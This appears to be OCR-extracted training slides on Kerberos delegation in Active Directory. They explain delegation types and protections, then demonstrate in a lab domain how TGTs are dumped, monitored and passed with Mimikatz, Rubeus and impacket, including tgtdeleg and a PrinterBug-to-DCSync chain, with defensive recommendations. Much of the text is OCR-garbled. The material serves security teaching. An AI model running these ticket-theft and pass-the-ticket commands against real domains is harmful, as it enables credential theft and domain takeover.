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Note on Wireshark and Kerberos

» Throughout this session, we will inspect Kerberos traffic with Wireshark
» Kerberos traffic is (partially) encrypted, which makes analyzing more difficult
= \With the right key material, Wireshark is able to decrypt all Kerberos traffic

» Whenever you see data in Wireshark with a blue background, it would normally be encrypted:

Internset Protocol Yersion 4, Src: 180.2.1.18@, Dst: 12.2.1.1@
Transmissien Centrel Proteocel, Src Port: 88, Dst Port: 50125, Seq: 1411, Ack: 327, Len: 383
[2 Reassembled TCP Segments (1713 bytes): #1334(1418), #1335(383)]
~ Kerberes
Record Mark: 1722 bytes
¥ as-rep
pwno: 5
msg-type: krb-as-rep (11)
padata: 1 item
crealm: CHILD. TESTLAB.LOCAL
cname
ticket
enc-part
[Response to: 1333
[Time from request: @.@@351428Q seconds ]

- More details on this can be found in Part 1 of this series
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Delegation Basics




What is Kerberos Delegation?

» Standard built-in mechanism of Kerberos (in MS-KILE)

= Allows a service to act on behalf of a user when talking to other services

= Basically "user impersonation” via Kerberos

Access can be
granted to Alice
directly

= Sample scenario:

Act as Alice

»
»

v

4 Authenticate
A

x

Alice Application Fileshare

Does not need file share
access, no almighty account
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Delegation Types Overview

There are 3 main delegation mechanisms:

= Unconstrained Delegation
» [ntroduced with Windows 2000
» Most simple form of delegation
» " can impersonate users against any service"

» Constrained Delegation

» [ntroduced with Windows Server 2003
» Adds target restrictions to impersonation process
» " can impersonate users against specific services"

» Resource-based Constrained Delegation

» [ntroduced with Windows Server 2012
» Reverses the way delegation is controlled/configured
» "Specific services can impersonate users against me"
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Restrictions — Sensitive Users

» Delegation may not be desirable for all accounts

» To protect high-value accounts, they can be flagged as sensitive

» Sensitive accounts cannot be 3 A

File Action View Help

delegated via Kerberos anymore 9 2@ {0 XEE HE/3auETH%e

: Active Directory Users and Com || Name Type Description
. - | Saved Queries
- A Alfort U
= Recommended for high-privileged v 3 winsttackiab oca e o [ rampropen A
= Builtin E)Adam Sandler User

(ad m I n IStratlve) aCCOU ntS — Computers &, Alan Ford User Member Cf Dialdn Environment Sessions

3| Domain Controllers Remoate control Remote Desktop Services Profile COM=
E)Alex Butcher  User - I oo Accourt Profi Teleoh o
cou i jzati
E)Amarissa Ay... User enera ress ile: elephones rganization

2 | DomainUsers
2 | ElevatedUsers

u Reported by P|ngcaSt|e : FareignSecurityPrincipal: E)Am:,rWineh... User User logon name:
| Managed Service Accour E)Anchor Balc... User |l‘fast | @winattacklab local w
:_ EENEGN AV %::1:;:3;2';;' Ez:: User logon name {pre-Windows 2000):
4| ServersMo :
| Users E}, Calum Bradf... User |w|naﬁacklab : | |Hast
3 Workstations E) Carnercn Br..,  User Lt Log On To...

i Celaine Clear U
- Not active by defauit R
[J Urlock account

E)David Drake  User
2, Elizabeth Cli... User

J ] Account options:
E) Elizabeth Eki  User

% Fara Fast User [[] Smart card is required for interactive logon 2
E) Gerard Corrie  User Accourt is senstive and cannot be delegated |

E) Gideon Cote... User [L] Use only Kerberos DES encryption types for this account

E) IS Service User [] This account supports Kerberos AES 128 bit encryption. W
g\ Lane Gihon User Arcont exnires
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Restrictions — Protected Users

* Protected Users is a built-in group in Windows Active Directory
» Designed to restrict credential exposure within the domain

= All members have non-configurable protections & restrictions applied

= Must only be used for actual user accounts (not services/machines) | setectes s pioperie 7 X
. . General Members Member Of  Managed By
» Protection mechanisms: §2  Prtected ser
= Prevents caching of plain text credentials & other authentication material | e e |
roup name (pre-YWindows : rotected Lsers
- Prevents NTLM authentication Description: |Members of this group are affarded additional prcntectiu:nns|
. . E-mail: | |
» Disables weak ciphers (DES/RC4) for Kerberos Sroup scope .
Domain local Security
* Prevents Kerberos delegation Giobd Distion

Universal

= Restricts life-time of authentication material

Motes:

- Empty by default Cance
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Delegation is Transparent

* In general, delegation is transparent to the user/client
» The user cannot actively control whether delegation will occur or not

= |f the user connects to a service that is configured for delegation, delegation is performed at the
discretion of said service

* |t is also not possible for the user to detect if delegation has been performed
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Kerberos Basics

Remember that in Kerberos:
» Users first acquire a Ticket Granting Ticket (TGT) from the KDC that proves who they are
» With the TGT users then request Service Tickets (ST) for each service they want to access

User/Client Authentication Server Ticket Granting Server foo.local

)
‘J

KDC

Request TGT ———

— & Return TGT

\ 4

Request ST for SPN cifs/foo.local

= - Return ST

Present ST to access service

v
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Unconstrained Delegation




How it works

With unconstrained delegation:
» Users request access to a service configured for delegation
» \When accessing the service, a copy of the user's TGT is forwarded to the delegating service

» The service can fully imitate the user and request STs on their behalf with the user's TGT
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Unconstrained Delegation Flow Configured for

Alice Ticket Granting Server web.local Unconstrained db.local

_~ Delegation
‘ 4

Request ST for ol x
http/web.local
, Return ST Check target service
=t with OK-AS-DELEGATE @ for delegation rights

—  Request copy of TGT —» Hik

gt —— Return copy of TGT — _

Forward ST + TGT to service - Et 55t

w8t < Request ST as Alice for Q Extract TGT
MSSQLSvc/db.local of Alice

Return ST for Alice —— B3¢

— Request access as Alice — E4
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Configuring Unconstrained Delegation

» Delegation privilege is configured on a domain object (either user or machine)
» Requires domain admin rights to configure (or specifically SeEnableDelegation privilege)

= Example view in "Active Directory Users and Computers" (ADUC):

=]

File Action View Help
e |rH /BIXE HE R aETa%

: Active Directory Users and Com || pame Type Description
ol Saved Queries o WS 1 Computer Enables unconstrained
w 3 winattacklab.local d | t
R elegation
- i W51 Properties ? pd g
| Computers
:__ Domain Controllers General Operating System Member Of Delegation  |ocation Managed By  Dialin
2 | Damainlsers
= ElevatedUsers Delegation is a securty-sensitive operation, which allows services to act on

~| ForeignSecurityPrincipal: behalf of another user.

| Managed Service Accour () Do not trust this computer for delegation

Servers (®) Trust this computer for delegation to any service (Kerberos only)
| ServersMoAY () Trugt this computer for delegation to specfied zervices only
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Check with Powershell (Module ActiveDirectory)

Filter out domain controllers*

A
[ \

> Get-ADComputer -Filter {TrustedForDelegation -eq Strue -and primarygroupid -eq 515}
—Properties trustedfordelegation, serviceprincipalname,description

Description :

DistinguishedName : CN=WS1,0OU=Servers,DC=winattacklab,DC=local
DNSHostName : WS1l.winattacklab.local

Enabled : True

Name : WS1

ObjectClass : computer

ObjectGUID : £fd7db78e-3146-4955-a6ae-2879354912f2
SamAccountName : WS1$

serviceprincipalname : {TERMSRV/WS1l, TERMSRV/WS1l.winattacklab.local, WSMAN/WS1,
WSMAN/WS1.winattacklab.local...}
SID : S-1-5-21-207753090-4049618255-3999831503-1143

TrustedForDelegation : True
UserPrincipalName

* Allowed for unconstr. delegation by default
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What are the security risks?

» This form of delegation is - by definition - unconstrained
» Therefore, a service can impersonate a user against any other service!

» Such services are high-value targets for attackers

* Impact depends on the permissions of the delegated account

= Sample Scenario:

Act as Alice

‘ *

Alice Webserver Database
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Abusing Unconstrained Delegation

» Goal of the attacker: Steal & abuse TGTs of other users to impersonate them

= Attacker needs to get control over the account configured for delegation
» |_ocal admin on target machine (for computer account)
» Access to domain credentials (for user account)

» Unconstrained delegation can be abused in different ways:

» Stealing already cached TGTs (of users that connected previously)
= Coerce users/machines to connect to the service and steal their TGTs

Alice Webserver Database

:‘ Authenticate
x

Ticket Cache

= TGT Bob
= TGT Eve
= TGT Alice
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Listing Available Tickets - Mimikatz

Logon session of user cclear

mimikatz # sekurlsa::tickets ‘//////

Authentication Id : 0 ; 8377159 (00000000:007£d4347) Service Ticket (ST)

User Name : cclear for SPN host
Domain : winattacklab

Group O - Ticket Granting Service
Start/End/MaxRenew: 3/31/2022 11:14:20 AM ; 3/31/2022 9:14:20 PM ; 4/7/2022 11:14:20 AM
Service Name (03) : host ; wsl.winattacklab.local ; @ WINATTACKLAB.LOCAL

Client Name (01) : cclear ; @ WINATTACKLAB.LOCAL ( WINATTACKLAB.LOCAL )
[CUT]

Group 2 - Ticket Granting Ticket
Start/End/MaxRenew: 3/31/2022 11:14:20 AM ; 3/31/2022 9:14:20 PM ; 4/7/2022 11:14:20 AM

Service Name (02) : krbtgt ; WINATTACKLAB.LOCAL ; (@ WINATTACKLAB.LOCAL
Client Name (01) : cclear ; @ WINATTACKLAB.LOCAL ( WINATTACKLAB.LOCAL )
[CUT]

\ Ticket Granting Ticket (TGT) for SPN krbtgt
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Listing Available Tickets - Rubeus

> Rubeus.exe klist

. : . Logon session of user cclear
Action: List Kerberos Tickets (All Users) ‘//////

UserName : cclear Ticket Granting Ticket
Domain : winattacklab (TGT) for SPN krbtgt _ _
LogonId . 0x7£d347 fSergllgzﬁl'Llcket (ST)
[CUT ] or ost
[0] - O0x12 - aes256 cts hmac shal //
Start/End/MaxRenew: 3/31/2022 11:14:20 AM ; 3/31/2022 9:14:20 PM ; 4//7/2022 11:14:20 AM
Server Name : krbtgt/WINATTACKLAB.LOCAL @ WINATTACKLAB.LOCAL
Client Name : cclear @ WINATTACKLAB.LOCAL
[CUT]
[1] - O0x12 - aes256 cts hmac shal /
Start/End/MaxRenew: 3/31/2022 11:14:20 AM ; 3/31/2022 9:14:20 PM ; 4/7/2022 11:14:20 AM
Server Name : host/wsl.winattacklab.local @ WINATTACKLAB.LOCAL
Client Name : cclear @ WINATTACKLAB.LOCAL
[CUT]
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Monitoring Tickets - Rubeus

Only monitors for TGTs
> Rubeus.exe monitor /interwval:5
[*] Action: TGT Monitoring Affected user
[*] Monitoring every 5 seconds for [new TGTs
[*] 3/31/2022 1:43:21 PM UTC - Found new TGT:
User : cclear@WINATTACKLAB.LOCAL
StartTime - 3/31/2022 11:14:20 AM .
Actual ticket (base64
EndTime : 3/31/2022 9:14:20 PM ( )
RenewTill : 4/7/2022 11:14:20 AM
Flags : name canonilcalize, pre authent, initdal, renewable,
forwardable
Base64EncodedTicket

doIF6jCCBeagAwIBBaEDAgGEWOOIE3zCCBNthggTXMITIEO6ADAGEFORQbLE1dJTkFUVEFDS0xBQi5MTONBTK
InMCWgAwIBAgEeMBwb [CUT]
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Dumping Tickets - Rubeus

Target user

> Rubeus.exe dump /nowrap |/user:cclear

Action: Dump Kerberos Ticket Data (All Users)

[*] Target user : cclear
[*] Current LUID : Ox7fbfob

UserName : cclear = ice krb
LogonTd . 0x7fd347 Or sefvice krbtgt

<> TGT
o) /

ServiceName : | krbtgt/WINATTACKLAB.LOCAL
ServiceRealm : WINATTACKLAR.LOCAL
UserName : cclear

[CUT] Ticket data without line endings,
Base64EncodedTicket : can easily be copy-pasted

doIF6jCCBeagAwIBBaEDAgEWOOIE3 [CUT]
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Importing Tickets - Rubeus

> Rubeus.exe ptt /ticket:doIFO0DCCBcygAwIBBaE [CUT]

[*]
[+]

>

klist

Action: Import Ticket
Ticket successfully imported!

Built-in Windows command, only lists

*’dﬂ"/ﬂ"/,,,,,---~’“””””’~_ﬁd«ﬂsinyourowmIogonsesgon

Current LogonId 1s 0:0x7fbfo6b
Cached Tickets: (1)

#0>

Client: cclear @ WINATTACKLAB.LOCAL
Server: krbtgt/WINATTACKLAB.LOCAL @ WINATTACKLAB.LOCAL

[CUT]

Start Time: 3/31/2022 11:14:20 (local)

End Time: 3/31/2022 21:14:20 (local)
Renew Time: 4/7/2022 11:14:20 (local)
Session Key Type: AES-256-CTS-HMAC-SHA1-96
[CUT ]
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Sample Attack

Regular domain user

> whoami
winattacklab\cclear

> klist
Current LogonId 1s 0:0x7£d347
Cached Tickets: (0)

> dir \\dcl.winattacklab.local\c$
Access 1s denied.

Currently, no tickets available

Access to Domain Controller is not possible
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Sample Attack (continued)

Import TGT of domain admin (ffast)

> Rubeus.exe ptt /ticket:doIFODCCBc[CUT]

> klist | TGT of ffast
Current LogonId 1s 0:0x7£d347

Cached Tickets: (1) ////
#0> Client: ffast @ WINATTACKLAB.LOCAL

Server: krbtgt/WINATTACKLAB .LOCAL @ WINATTACKLAB.LOCAL

> dir \\dcl.winattacklab.local\c$

Volume in drive \\dcl.winattacklab.locallc$ i1s Windows

Directory of \\dcl.winattacklab.local\cs$ Access is now possible
03/04/2022 04:01 PM <DIR> AzureData ////

03/04/2022 04:17 PM <DIR> Packages

02/02/2022 07:26 PM <DIR> PerfLogs
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Triggering Connections

» Cached tickets may or may not be useful to attackers (depending on user permissions)
» Attackers may want to target specific users/machines with high privileges
» They must coerce the target account to connect to the service configured for delegation

» Similar attack scenario as with NTLM relaying, therefore similar options:
= Responder
= ARP poisoning
= DNS poisoning
» Rogue DHCPV6
= Phishing
» PrinterBug / PetitPotam / similar
= Etc.
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PrinterBug Example

* PrinterBug denotes the abuse of MS-RPRN (Microsoft's Print System Remote Protocol)

= A part of MS-RPRN is the so-called Print Spooler service

* This service is exposed to the network to handle print jobs and related tasks

» Via RPC calls to this service, the target system can be coerced to connect to arbitrary hosts
* The resulting authentication is performed over SMB using NTLM or Kerberos

= Only requires a valid domain account, no specific privileges
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PrinterBug to Domain Admin

» Attacker abuses PrinterBug to trigger a connection from the DC to target machine
» Target machine is configured for unconstrained delegation

» TGT of DC machine account can be abused for DCSync attack

Local Admin
—
DCSync =i
\ Q Extract DC TGT
PrinterBug
. — Authentlcate°_>
‘\ Configured for

unconstrained

Domain Controller Webserver delegation
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Recommendations

» Unconstrained delegation is the most insecure form of delegation
= Accounts with unconstrained delegation are high-value targets for attackers
= |f possible, do not use unconstrained delegation at all

= |f you have to use it, consider the following points:
» Protect the affected accounts/systems as strongly as your domain controllers
= Use the "Protected Users" group to secure your high-privileged accounts or mark them as sensitive
» |n general, reduce permissions available to your accounts (least privilege)
= Disable print spoolers + similar triggers on all systems where possible

» |[mplement monitoring measures for your high value accounts and systems with delegation rights
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TGT Copy Mechanism




TGT Copy — More Details

= With unconstrained delegation, the delegating service receives a copy of the user's TGT
» The KDC indicates to the client that the target is configured for unconstrained delegation
» The client automatically requests the TGT copy via TGS-REQ
» The ticket is then included in the AP-REQ to the target service

Alice Ticket Granting Server web.local

3 =
g ¢

Request ST for

http/web.local

v
= Return ST @ Check target service
with OK-AS-DELEGATE for delegation rights

—  Request copy of TGT —— HEiE

w2 —— Return copy of TGT

Forward ST + TGT to service . Bt =3¢
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Requesting TGT Copy

| |ker|:|er|:|5
Mo, Time Source Destinakion Protocol  Length  Info
206 12.507751  12.2.1.18 10.8.1.180 KRBS 578 [A5 -REQ i
N >
209 19.508833  12.0.1.100 19.0.1.18 KRES 358 | AS -REP Get initial TGT for user
236 18.521636  12.0.1.18 10.9.1.180 KRBS 1833 [TG5 -REQ
239 19.523279  12.0.1.100 10.0.1.10 KRES 343 | 1G5 -REP|
247 18.524099  12.0.1.18 10.9.1.180 KRBS 1638 [TG5 -REQ . L
750 19.524698  10.0.1.100 10.@.1.10 KRBS 748 | 1G5 -REP Request service ticket

(for target service)

Service ticket flags:

LT L L ) R )

Request copy of TGTtobe  «

forwarded to delegation service flags: 42250000
... ... = reserved: False
.1.. .... = forwardable: True
TGT ﬂags: @ ... = forwarded: False
@ u.. = proxiable: False
tlags: E@azladae e.e.. B... = proxy: False
@... .... = reserved: False ve.. .@.. = may-postdate: False
.1.. .... = forwardable: True . . v+ ..@. = postdated: False
|. 1. ... = forwarded: True| b > ReSUItlng TGT is ﬂagged as L @ = invalid: False
..2 .... = proxiable: False forwarded 000 0ooc S rEaales THus
.@.. .... = initial: False
. B... = proxy: False
.1, ... = pre-authent: True
.B.. = may-postdate: False
. . . «o.@ ..o = hw-authent: False
.-@. = postdated: False Target service is configured for ... @... = transited-policy-chec
-.@ = invalid: False unconstrained delegation e viv. 1., = ok-as-delegate: True
veer 2B = unused: False
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TGS-REQ/REP Details

| |kerbern5
Mo, Time Source Deskination Protocol  Length  Info
346 §.953492 10.2.1.100 10.0.1.10 KRES 357 AS-REP
354 §.954915 10.2.1.10 10.9.1.100 KRES 1823 TGS -REQ
- 357 8.956423 10.0.1.100 10.0.1.10 KRES 341 TGS -REP :
contains 366 8.957596 10.0.1.10 10.0.1.100 KRES 1628 1G5 -REQ TGS_'REP_ contains
copy of TGT for 369 8.958835 12.2.1.100 10.2.1.18@ KRES 247 TGS -REP Service Ticket for

tmassie to krbtgt

- — - -

¥ Kerberos
Record Mark: 1599 bytes
¥ tgs-rep
p¥no: S
msg-type: krb-tgs-rep (13)
crealm: CHILD. TESTLAE. LOCAL
¥ Ccname
name-type: kRES-NT-PRINCIPAL (1)
¥ cname-string: 1 item
CNameString: tmassie

~ ticket
tht-wno: &
realm: CHILD.TESTLAE. LOCAL
W =name

name-type: kRES-NT-SRY-INST (2]
¥ sname-string: 2 items
SNameString: krbtgt
SNameString: CHILD. TESTLABE. LOCAL
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tmassieto cifs/dcl

L L= . r £ L

~ Kerberos
Record Mark: 1693 bytes
¥ tgs-rep
pvno: S
msg-type: krb-tgs-rep (13)
crealm: CHILD.TESTLAB. LOCAL
¥ cname
name-type: kRBES-NT-PRINCIPAL (1)
¥ cname-string: 1 item

CNameString: tmassie

v ticket
thkt-wrno: &
trealm: CHTI DL TESTI AR OC A
¥ sname

name-type: kRBS-NT-SRW-INST (2]
¥ sname-string: 2 items
SNameString: cifs
SNameString: del.child.testlab.local

KV




Forwarding TGT Copy

A authentlcator

!
/
/!
4
I/

7
7

/
/7
1
7/
1

359 8.958835 1d.a.1.1aa 1a.a.1.1@ KRES ¥
3¥2 B.959171 1g.a.1.1@ 1g.a.1.1ea SMEZ /
376 B.952al5 l1a.a.1.1aa 12.a.1.1@ SMEZ f

1

7/
SMEZ Header )

* Session Setup Request (@x@l) ,/I
[Freauth Hash: d7@2@c37cddfdbb737e7d369cdabfhldafsahdachiases
Structuresize: @819 //
Flags: @ /
Security mode: @22, Signing required ,’/
Capabilities: @:x@28008281, DFS /
Channel: None (@x@E220002) !

Prewious Session Id: @x2222222222222222 I/l

Elob Offset: @x22022058
Elobk Length: 3427
* Security Bloh: EEEEEdSfEEBEEb@6@1@5@5@2a@EEBd533@8é6d4fa@3@3E
¥ G55-API Generic Security Serwice fpplication F';"c:ngr"am Inter
O0I0: 1.3.6.1.5.5.2 (SPNEGD - Simple F‘r‘n‘tec‘bfed Negotiati
~ Simple Protected Negotiation
~ negTokenInit
mechTypes: 4 items /
mechToken: 6@82Bd11@6@926864886f?12@1@2@2@1@@6&82
¥ krb5_blob: 6@82Bd11@6@92&864886f?12@1@2@2BlBBEESZ
KRES OID: 1.2.84@.113554.1.%{2 (KRBS - Kerbero:
krbS_tok_id: KRES_AP_REQ (@4@2@1)
1

I
1
1
1
/

7

% Kerberos I,'
. . ¥ lap-req !
Service Ticket pvno: 5 /

msg-type: krb-ap- Heq (14
FPadding: @

(for cifs/dcl) ,

Seeel ap-options: 2@@@@@@@
|ticket /
~ authenticator /
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n
4
7

authenticator-vno: 5
crealm: CHILD.TESTLAB.LOCAL
¥ cname
name-type: kRES-WT-PRINCIPAL (1)
* cname-string: 1 item
CNameString: tmassie

~ cksum
cksumtype: cKSUMTYPE-GSSAPT (32771)
checksum: 12R220222022200022003200032002202020202202 320202001 22Te@575E
Length: 1&
End: 22202222220222002200022003200380
L@ ... ... ..., = DCE-style: Neot using DCE-ST)
.1, .... = Integ: Inteprity protection
..@ ... = Conf: Do NOT use Confidenti
. B... = Sequence: Do NOT enable out
.@.. = Replay: Do NOT enable repla)
..1. = Mutual: Request that remcte
booo oooo ocooo ..1 = Deleg: Delegate credentials
Dlglpt: 1
DlgLen: 1534
“ krb-cred
pwno: S
msg-twpe: krb-cred (227
~ tickets: 1 item
~ Ticket
thkt-vno: S
realm: CHILD.TESTLAG.LOCAL
¥ sname

name-type: kRES-NT-5RY-INST (2)
¥ spame-string: 2 items
SNameString: krbtgt
SNamestring: CHILD. TESTLAE.LOCAL
¥ enc-part
etype: eTYPE-AES256-CTS-HMAC-SHAL-26 (18]
kwno: 2
~ cipher: 1e3f3ds4fe@bc2fafsa7ha3ad0Feecie24lc7dsf2ba31147:
Decrypted keytype 18 usage 2 using keytab principal kr
~ encTicketPart

L m—

Padding: @
¥ flags: &@alo2ed
@... .... = reserved: False
1o. wu.. = forwardable: True
..1l. .... = forwarded: True
.8 .... = proxiable: False

Copy of TGT
(for krbtgt)




Why a Copy?

= With unconstrained delegation, a copy of the user's TGT is requested and then forwarded

» Why is this necessary? Couldn't the original TGT be forwarded instead?

» Answer - Technically yes, but: / /1D \
ser

= A TGT is only "usable” with the corresponding session key ---_ TGS Name/ID (krbtgt)

_ _ ] _ _ \ Timestam
» The session key is bound to a client (via encryption) ! Authopizgtion Data

» Sharing the user's session key would violate separation Lifetime.
el TGS Session Key /

\\ji krbtgt long-term key 4//

» [nstead, a copy of the TGT with a new session key is created

» The new session key is intended for the target service

» This way, the TGT copy is traceable, its usage can be logged and audited
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Copied TGT — Session Key Details

* The session key is delivered by the KDC along the actual TGT (in Wireshark "enc-part")

= By decrypting all Kerberos communication, we can see which key is used where

as-rep
pwno: 5
. msg-type: krb-as-rep (11)
Original TGT padata: 1 item
crealm: CHILD.TESTLAE.LOCAL
‘\“\\\‘ cname
Copy of TGT v enc-part
etype: eTYPE-AES256-CTS-HHAC-SHAL-9G (18)
kwno: 2
* cipher: cac3ddl184d97d3746d8e3df411437a65 Feadldd2d7beSedfEo@dc@11335fedbell@lbEcata
tgs-rep // Cecrypted keytype 18 usage 3 using keytab principal tmassigfCHILD. TESTLAE.LOCAL |
pvno: 35 i ¥ enchsRepPart
msg—type:/ﬁﬁb—tgs—rep (13 v [key
crealm: CAILD. TESTLAB.LOCAL Learnt encASRepPart_key keytype 18 (1d=359.2) (@feefolb...)
cname ) kevtype: 18
keywalue: @fEefI1basf2bd0acdB85143TenB22aa2T3f2d8023363077ebc19f460bd fOS497
* enc-part .
etype: eTYPE-AES256-CTS-HMAC-SHAL-26 (18y T
v gipher: dfeeS67dlca7fE@@6bbdc2e68@fledc3c54ad32fRcc@BS2d29a388aclBFad9lde7dcS2ele ~\‘\\\ . . .
Cecrypted keytype 18 usage 8 using learnt encTicketPart key in frame 359 (id=359.1 same=3) SeSSIOn key Of Orlglnal TGT
v encTaSRepPart 0fe6f£91...

W ey
Learnt encTGSRepPart key keytype 18 (id=385.2) (124528d2...)

keytype: 18 Session key of TGT copy

keywvalue: 124528d@fSech3@9coco78d1l8E962e0797001a3642 77c1ad2bh215e8628af el 124 5 2 8 d

A
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Copied TGT - Results

= As a result, the client now has 2 TGTs in cache

» The original TGT, for usage by the client

* The , for usage with delegation
mimikatz # sekurlsa::tickets
[CUT]
Service Name (02) : krbtgt ; CHILD.TESTLAB.LOCAL ; @ CHILD.TESTLAB.LOCAL
Client Name (01) : tmassie ; @ CHILD.TESTLAB.LOCAL ( $$Delegation Ticket$$S )
Flags 60al10000 : name canonicalize ; pre authent ; renewable ; forwarded ; forwardable
Session Key : 0x00000012 - aes256 _hmac

124528d0f5e6b309090978d18b962e9797901a36429477c1a42b215e8628afe6

[00000001]
Service Name (02) : krbtgt ; CHILD.TESTLAB.LOCAL ; @ CHILD.TESTLAB.LOCAL
Client Name (01) : tmassie ; @ CHILD.TESTLAB.LOCAL ( CHILD.TESTLARB.LOCAL )
Flags 40e10000 : name canonicalize ; pre authent ; initial ; renewable ; forwardable
Session Key . 0x00000012 - aes256 _hmac

Of66f91ba6f2b49acd85143fe6822aa2f3f2d802a363b77e6019f460bdf05497
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Session Key Accessibility

» Session keys are either associated with a TGT or an ST

» Session keys associated with a TGT:
» are used to securely communicate with the KDC

» are handled by the underlying authorization system of Windows (LSASS)

= Are not accessible for a non-admin user

» Session keys associated with an ST
= Are used to securely communicate with a target service

» Are handled/exposed in the security context of the application that uses the ST

= Are accessible for a non-admin user
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LK: Long-term key
SK: Session key

Key Relations e

Accessible* Not accessible* 5 ﬁ ’
YRV YIRS LK
sK (

—————————————————————— TGS-REQfor FS1 - @--» ﬁ
m TGS-REP - Configured for
— o } '} Create ST Unconstrained
Extract Q ‘.i\ 7 4—--9---- orrol /7 H— - Delegation

 Session Key Alice 5 FS1.~

TGT copy
request
el — | TGS-REQ for krbtgt  ---------- ©

TGS-REP

Extract g( * <« @ ( TG Tgopy for FS1 Ap J ------------ AP-REQ

‘ Session Key FS1 5 KDC ﬁ ’ ST for FS1 s
or

_________________________________________________________________________________________ Authenticator e__,
m— | TGTgyforFSt B

FS1

. Generate P
L SK

;\ Create TGTc,y,

12.@.1.1@ 12.2.1.100 KRES 388 AS-REQ ) I .
Encrypted with .

12.@.1.12@ 19.2.1.18 KRES 357 AS-REP an accessible E Session Key FS1 S KDC’}
12.@.1.1@ 12.2.1.100 KRES 1883 TE5-RE )

. session key! TGT and
12.@.1.18@ 18.2.1.18 KRES 333 Tas-REP associated
18.@.1.18@ 19.2.1.108 KRES 1628 T&E5S-REQ session key!
19.@.1.12@ 18.2.1.18 KRES 247 Tas-REP
12.a.1.1a la.a.1.1aa SHEZ2 3545 Session Setup Request
19.@.1.12@ 18.2.1.18 SMEZ 315 Session Setup Response * (Not) extractable in raw form
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TGT Copy for Delegation — Abuse

* The previously described mechanism to request a copy of a user’'s TGT is valuable for attackers

= Attacker’s situation:
= Can run code in a user's context (e.g. via malware implant)
» Does not know the user's password
» Can request tickets (both TGT and ST) in the name of the user
» Would like to extract the user's TGT - requires local admin privileges

* Abuse
1. From the user’s session, the attacker requests a service ticket for CIFS on a DC
The KDC checks whether the target (CIFS on DC) supports delegation
DCs are configured for unconstrained delegation by default > a copy of the user’'s TGT is requested
The KDC returns the TGT copy (including session key) to the user
This TGT and it's associated session key can now be extracted and used by the attacker

2.
3.
4.
S5.
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TGT Copy for Delegation — Abuse with Rubeus

* The previously described attack is built into several attack tools

* |n Rubeus, it's called tgtdeleg
See: https://github.com/GhostPack/Rubeus?tab=readme-ov-file#tgtdeleq)

» Enables acquiring a usable* TGT from within a user's session without local admin privileges

= Working principle:
1. Rubeus requests a service ticket for CIFS on DC (by default)
DC is configured for unconstrained delegation
Client requests a TGT copy
Client prepares the AP-REQ data structure which includes TGT copy inside its authenticator
Rubeus extracts the TGT copy from within the authenticator
The actual AP-REQ is not sent

o s Wb

* Ticket + associated session key
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https://github.com/GhostPack/Rubeus?tab=readme-ov-file#tgtdeleg
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TGT Copy for Delegation — Abuse Details cont.

‘ *Ethernet 2
File Edit ‘“iew Go  Capture  Snalyze  Statistics  Telephony  Wireless  Tools Help
AE @ I MRBQRe=2=2F 4 5= QaQaHH
| |kerherns
Mo, Tirne source Destination Protocol Lengtl Info
326 #.@32356 1a.@.1.1@ 1@d.8.1.1a2a KRES JE@ AL -REQ } 1
328 8.@336829 1a.8.1.1aa 18.8.1.1@ KRES 35F AL -REF
359 8.a247912 1a.@.1.1@ 1@d.8.1.1a2a KRES 1823 Tas-REQ 2
. . . e 362 8.049927 10.0.1.12@ 10.@.1.18 KRBS 373 TGS-REP
[*#] Action: Request Fake Delegation TGT (current use 378 §.@51382 10.0.1.10 10.8.1. 100 KRES 1628 TGS-REQ } 3
. - q g q . . s 373 B.@521e9 1a.8.1.1aa 1d.8.1.1@ KRES 247 Tas%-REF
[*] Mo ftarget SPN specified. attempting fo build 'ci

1) Client requests a TGT (this only happens if no TGT is in memory yet)

¥ req-body
Padding: @
kdc-options: 42312200
realm: CHILD.TESTLAE.LOCAL

v

2) Client requests ST for CIFS on DC

: v req-body f
3) Cllent requeStS ST for KRBTGT on DC """""""""" > Padding: @ me—typei kRBS—I*..IT—SRV—INST (2]
kdc-options: £@810018 ame-string: 2 items
realm: CHILD. TESTLAE.LOCAL [sHamestring: cifs|
v =name SNameString: DCl.child.testlab.leocal

name-type: kRES-NT-SRY-INST (2]
¥ spame-string: 2 items
|SNameStr‘ing: kr‘htg‘tl
SNameString: CHILD. TESTLAB.LOCAL
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TGT Copy for Delegation — Abuse Details cont.
The previously requested TGT copy can now be used from anywhere (e.g. the attacker’s
machine) to request additional tickets:

S cat tmassie.b64
dOIFZj CCBdagAWIBBaE DAgEWOOIEyZCCBMdhggTDMI ITEv 6ADAgEFORUbE ONISUXELIRFUIRMQUIUTEO9DQ [CUT]

$ cat tmassie.b64 | base64 -d > tmassie.kirbi < Base64 decoded kirbi

$ impacket-ticketConverter tmassie.kirbi tmassie.ccache < Convert to ccache
Impacket v0.12.0.devl - Copyright 2023 Fortra
[*] converting kirbi to ccache...

[+] done Set env var for impacket tools

$ export KRB5CCNAME=/home/hacker/tmassie.ccache * KeﬁfwosaUﬂl

X
$ impacket-smbclient child.testlab.local/tmassie@dcl.child.testlab.local -k -no-pass -
dc-ip=10.0.1.100 -target-ip=10.0.1.100

# shares No. Time Source Destination Protocol Length Info
3439 14.5445955600 10.0.1.15 10.8.1.100 KRES 1599 TGS-REQ
NETLOGON 3441 14 .546341200 10.0.1.100 10.8.1.15 KRES 16208 TGS-REP
SYSVOL 3446 14.555474200 10.0.1.15 10.0.1.100 1555 Session Setup Request
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